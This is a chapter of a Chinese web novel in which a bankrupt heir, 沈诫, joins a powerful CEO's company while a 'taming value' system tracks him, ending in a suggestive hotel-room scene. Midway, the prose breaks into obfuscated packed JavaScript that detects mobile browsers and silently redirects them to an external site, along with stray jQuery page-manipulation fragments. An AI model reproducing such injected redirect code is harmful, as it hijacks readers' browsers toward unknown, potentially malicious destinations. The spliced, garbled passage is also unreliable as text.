[驯化值:45%]


    听到赵雪鸢回答的这一刻,沈诫的第一反应是难以置信。


    他拿开手机确认了下名字,再次开口时就有了事情脱离掌控的不虞。


    “你带我妈去哪了?”


    什么叫带你妈去哪了?


    这是她李姨,她李姨想去哪就去哪!


    赵雪鸢近来接手的业务愈多,脾气也越发雷厉风行,当下听到不爽的点,想也不想就一个字骂出去。


    “滚。”


    说完赵雪鸢挂断地干脆利索,


    然后把手机放在桌面半响,她依旧有些气不打一处来。


    前几天刚接李姨出来的时候,她就感觉对方的情绪不太对劲。


    但李姨一向不喜欢麻烦别人,她还是旁敲侧击才问出几句,


    然后就被那三言两句的陈述气到直翻白眼,恨不得指着沈诫的鼻子骂。


    ——使唤你妈使唤习惯了,怎么,忘了你妈也是个人了?


    顿了顿,赵雪鸢又回忆起当年种种,不免多了点心有余悸。


    毕竟那个时候,沈诫也一直是厌恶和冷漠的状态。


    自己还以为是简单的母子矛盾,现在想想如果真是矛盾,痛苦应该在双方身上。


    但是沈诫却在公司活得有滋有味,李姨反而围着他忙个不停。


    这叫矛盾?


    赵雪鸢不禁冷笑。这叫忽视和心安理得。


    但她自己那时候也自顾不暇,一头扎在权力带来的滤镜中,最后也只能绞尽脑汁找些“沈诫不会表达”的理由。


    现在跳脱出来,答案反而非常简单。


    这不就是用爱来当幌子,把人骗进来榨干净吗!


    而且这不只是一个沈诫,更是从沈家长辈就织就的一张大网,最后让渡到了沈诫的头上。


    骡子前面钓个胡萝卜,转累了尚且还会停。


    但用“好母亲”当做海市蜃楼,明明什么都不用给,李姨就能被困在里面一辈子,这多方便啊!


    得亏一切都还来得及。


    如今赵雪鸢攥紧拳头,又是愤怒又是庆幸。


    这时李晚溪也正好和业务员沟通完,放下文件便走来问了一句。


    “雪鸢,刚才是不是有电话?”


    自从跟着颂声团队离开海市,李姨也问这个问题很多次了。


    赵雪鸢知道她盼着,但这一刻还是撒谎地干脆利落,


    “没有,是我的手机。”


    听赵雪鸢这么说,李晚溪不免有些失望。


    好在刚离开的业务员又急匆匆跑回来求救,“李姐,你刚才说的调度理论是什么意思?”


    她得了事情,便顿时不去想这些杂七杂八。


    离开之前,李晚溪还不忘对着为这个好孩子多操心了一下。


    “肚子疼


    就别喝凉水了。”


    “好。”


    赵雪鸢乖巧点点头,低头才发现自己面前的桌子上不知何时多了杯牛奶。


    摸一摸,温的;


    喝一口,是自己喜欢的甜香。


    这就是沈诫享受了二十年的、也是她从赵家从没感受过的爱。


    如今赵雪鸢望着李姨的背影,一口闷下甜牛奶憋回眼泪,下一刻就掏出手机打给了沈诫。


    这次开口,语气就带了点威胁。


    “你刚才有什么事?我给你解决。”


    和你有什么关系?


    这一刻,沈诫自是有点不满的。


    但一种更浓厚的疑虑压在心头,让他在短暂的不虞之后顿了顿才冷声开口。


    “你们真的在杉城?”


    沈诫自然不想相信她们能有这么大本事,但赵雪鸢也根本懒得解释。


    “你说不说,不说就挂了。”


    “……”


    沈诫脸色更僵硬了几分。


    曾几何时,赵家家主都不敢对他这么说话。


    如今一朝身份翻转过来,寄人篱下的感觉让他恨得咬紧牙关。


    但更憋屈的是,现在的赵雪鸢还真有这个能力帮到他。


    此刻沈诫只好压抑着不甘的心情,深吸一口气才终于开口,


    “那就告诉我,颂声总裁办都有什么职位?”


    “项目要多,”他顿了顿补充道。


    “而且能和…咳…楚总近一点的。”


    这是他第一次直白的提起自己手段,语气很僵硬,但赵雪鸢听得一脸平静。


    毕竟以楚总的财富和地位,她爸若有资色都会直接爬床,一个沈诫倒也不稀奇。


    而他这人的道德问题……


    “你先比得过秘书处再说吧。”


    赵雪鸢忍不住讥讽了一句,继而突然有点想笑。


    原来自己和沈诫都改变了这么多。


    沈诫当然也听不得这话,不假思索直接就反驳。


    “我根本不可能去。”


    不可能,当然不可能。


    他当年都是沈氏的临时总裁,如今就算再怎么落魄,自然也和那种以色侍人的岗位毫无瓜葛。


    沈诫眉头已经皱了起来,再听赵雪鸢一句“你还不一定能进去呢”,更是深感可笑。


    第一,他根本就看不起秘书处;


    第二,对面的这种激将法也很愚蠢。


    此刻沈诫对着电话动动嘴唇,本想讥讽赵雪鸢几句,却在对面挂断的忙音中转为无处发泄。


    “……”


    从耳边放下手机,这一刻沈诫怒气到头,竟然有种荒唐地可笑。


    什么时候,她也敢主动挂自己的电话了。


    这个问题没有答案,


    而沈诫没想到的“什么时候”,也根本没有停止。


    ——因为就在打了这通电话的第三天,他看不上眼的那个楚计发了个朋友圈。


    内容是她得到了颂声本部的认可,成为新分公司的高管岗。


    看到这条消息的时候,沈诫心头的憋屈之意终于达到了极致。


    他不明白,为什么那些他视为对手的人,一个个根本不把他当回事;


    而那些他根本就没放在眼里的,却又一个个爬上了他想要的位置。


    凭什么?凭什么?


    被这种恶气顶在心中,如今沈诫终于等不下去了,深吸一口气拨通那个号码。


    “我想要一个总裁办的职位。”


    “是的,需要有实际项目……”


    顿了顿,他格外轻蔑地强调,


    “除了秘书处。”


    *


    沈诫最后去到了外协处。


    外协处,全称是对外协作管理处。


    负责企业内与外部各方的协调沟通,也是他给自己选择的最好起点。


    入职第一天沈诫站在颂声楼下,便忍不住深吸了一口气。


    这个地方他也曾经来过。


    那是和楚椒初见后的第二天,下着大雨,周围人来人往从容得体。


    只有他被狼狈地卡在门外。


    就算想给前台证明和楚椒的关系,也被一通电话就打得哑口无言。


    但这一次,这一切都不会发生了。


    ——不管是通过颂声重整旗鼓,或者是紧紧抓住楚椒的关注和支持。


    这些他一个都不能放过,也不会放过。


    如今沈诫深吸一口气,心中满怀振奋和对此前过往的隐怒,同其它步履匆匆的职场人一并汇入这条颂声的河流当中。


    这一刻,他坚信这里就是自己回归辉煌的起点。


    于是刷卡进入第一层的时候,路过前台沈诫便完全目不斜视。


    是以守在旁边的年轻男人刚说了句“早上好”,就被对方漠然的表情搞了个莫名其妙。


    最后他有些狐疑地看了一眼对方认证id。


    考核期的员工而已,这个沈……诫有什么好狂的?


    沈诫自然对这种细小的意见毫不关心。


    一路穿过大堂,他的步伐便利落干脆,举手投足冷冽带风。


    这本是一副振奋自信的举动,但从高空俯瞰上去,他也只是无数职工中的一员。


    又或者说,所有人都只是一员。


    但沈诫从不这么觉得,是以面对颂声基数众多的员,他很快就感觉到了不满。


    好在来到电梯间,别人走进一到九楼的,走进十到十八楼的……他却走进独属于三十六楼总裁办的。


    ——但这里也不只有他。


    一些面容很精神的女人,和几个至少都是清秀起步的男人。


    沈诫一进


    去就被他们身上的香水味熏得皱了皱眉,最后还是往几个女人的一侧站了站。


    她们没理他,还在讨论什么项目问题。


    男人们也没理他,有人在捏衬衫领。


    这都什么毛病?


    这一瞬间沈诫都有点想皱眉,与此同时还有一种前所未有的焦躁在心头蔓延开来。


    是的,他早就知道颂声的氛围不同。


    但是切身投入到这个楚椒作为金字塔尖的环境中,让他在原本的踌躇满志之余,最后忍不住还是对着镜面也检查了一下自己。


    “叮。”


    电梯也是这个时候打开了。


    这下沈诫如梦初醒,随众人一起走入三十六楼的同时,几乎被自己刚才的蠢举动笑出了声。


    这种没用的东西有什么好焦虑的?


    顿了顿他又有了点自得。


    ——哦,毕竟自己是不一样的。


    他们需要楚椒的目光,但他已经有了。


    而且他还凭借此拿到了外协办的岗位,从而帮助自己复兴的地位。


    地位、权力,这才是最关键的。


    不然学这群男人到头,最后也不过是秘书处的又一个员工而已。


    “唉,秘书处怎么又有这种好事。”


    从临时办公桌落座,沈诫正整理着手头资料,刚有种如鱼得水自得,就听到隔壁桌男人在嘀咕。


    好事?


    沈诫本来嗤之以鼻地不想搭话,但看到男人桌前有优秀员工的旧标识,便还是侧身开口了。


    “这是什么意思,严…叙前辈?”


    “叫什么严前辈。”


    旁边另一个员工先笑了,“这叫严叙叔——你知道祥林嫂吗,他就是另一个。”


    话音落下,四周也跟着都哈哈大笑。


    严叙却毫不在意,只是盯着电脑上的群聊愤愤不平。


    “你们之前都进不去秘书处,就别酸我。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084346|163522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他一边噼里啪啦骂着什么,一边嘴里狂发牢骚。


    “楚总最近会议这么多,身边凭什么老是带同一个秘书!”


    “小会也就罢了,结果现在出国带的还是他。”


    “说是楚总喜欢他那张脸,凭什么靠脸就有这么多机会?”


    说到气头上,严叙终于停下手中的辱骂词,转而抬头希望寻求新人的认同,


    “你说他贱不贱。”


    下一刻,他却对上沈诫那张已经沉下来的表情,然后有些疑惑地瞪了瞪眼。


    “哎呦,你和那个魏清厌长得还有点像呢?”


    [驯化值:47%]


    沈诫的驯化值马上来到50%了。


    楚椒平日对这个数字并不关注,如今却正逢B司的研讨会结束。


    她终于等到那个神秘的莱茵公司,和对方老板交换名片


    达成目标。


    于是在回酒店的路上,楚椒便分神问了句。


    “所以50%代表着什么?”


    [代表着……]


    系统的回答也卡顿了一下。


    代表着什么呢?


    它想,沈诫从负隅顽抗到乖乖听话,似乎已经改变了。


    沈诫从拒绝自己的弱势,到接受自己的破产,似乎已经改变了;


    沈诫从努力摆脱宿主,到发现自己需要宿主,似乎已经改变了;


    所以为什么都说50%是个分水岭呢?


    系统试图狂翻后台寻找答案,但楚椒已经不关心了。


    除了同行的刘书梅和赵雪鸢两个主要团队,尝试过灰眼睛的解压之后,秘书处这次也有人被选上。


    她带的魏清厌。


    因为魏清厌很听话,他的听话又有长相的加持。


    像是沈诫的超前点播版本,楚椒自然会多一点偏爱。


    一点点而已,也不足以施加什么恩惠。


    不像是会分给赵雪鸢一整个项目组,不像是会投资给德米特继承人的几个亿。


    但是这正是魏清厌想要的。


    楚总愿意第一个带上他,这就像是一个对他胜利的标志。


    虽然就在一个小时前,周之慎就给他发了个照片。


    那是一张外协部的偷拍照,今天新入职的员工,最后还配了句话。


    [希望你没忘了他。]


    魏清厌当然没忘。


    因为周之慎之前也给他发过那个人的照片——床照。


    和自己有五分像,却先得了楚总的宠爱。


    所以周之慎会一次又一次对自己强调那句话。


    “你不过是东施效颦。”


    每听到一次,魏清厌就更恨一分。


    如今跪在酒店的房间里,他拿起烧酒喝了一口。


    ——这是魏清厌从外面超市自己买来的,和这间总统套房的每一处都格格不入。


    所以他放得也很小心,一开始是在自己腿上,后来不得已之下也只能弯腰放在地上。


    一个没看好,路过的人都能随便一脚踹上去。


    但转念一想,这里也只有楚总会路过。


    他又喝了口酒。


    他的酒量不是很高,只是因为太紧张,所以需要一点什么才能支撑起接下来的勇气。


    魏清厌微微颤抖着,把酒重新弯腰放在地上。


    然后抬起头的时候,他看到了镜子里的自己。


    这一刻,魏清厌的眼神定了定。


    像是闪过了一丝紧张,又像是审视。


    然后他越走越近,一边微微侧过身,忍不住整理了一下那根系在脖子后面的蕾丝蝴蝶结。


    蕾丝很轻,周围的空气轻轻流动就会晃的那种轻;


    蕾丝也很透亮,于是衬


    得底下的每一个沟壑都更加清晰,带着隐晦的暗示。


    于是魏清厌又想起了那张床照。


    他调查过那个叫沈诫的男人,除了长相以外都和自己很不一样。


    比如他是破产豪门的继承人,所以他一定很傲气;


    比如他三番两次尝试过启动项目,所以他对楚总也一定有所图。


    比如。


    他有那张床照。


    “叮咚。”


    突然响起的是外面电梯的声音,把魏清厌带上阴沉的思绪骤然打断。


    等他反应过来即将要发生什么,尽管已经演练了很多遍,这一刻还是忍不住有了一丝紧张。


    从电梯到走廊还有一段距离,魏清厌如今也把腿上的毯子放下。


    走过镜子的时候,他便看到更多的蕾丝打着结,最后汇聚在了腰上。


    像一个准备拆封的礼物……那个沈诫能做到这些吗?


    在他想出答案之前,“咔啦”一声。


    门被打开了。


    然后灯也亮了,收到礼物的主人就站在那里。


    她没有惊讶,只是淡淡笑了笑。


    “你喝酒了?”


    她的笑意很浅,只有一点点。


    虽然只有一点点,一点点而已,也很重要。


    魏清厌垂下眼睛,然后几乎是紧张的、绷紧身体的将那根蕾丝的末尾,轻轻地捧到了女人面前。


    然后她的手,也终于一点点搭在了带子上。